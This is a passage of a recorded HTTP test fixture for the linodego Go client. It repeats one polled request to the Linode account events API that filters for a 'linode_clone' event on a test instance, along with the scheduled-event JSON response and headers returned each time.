max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 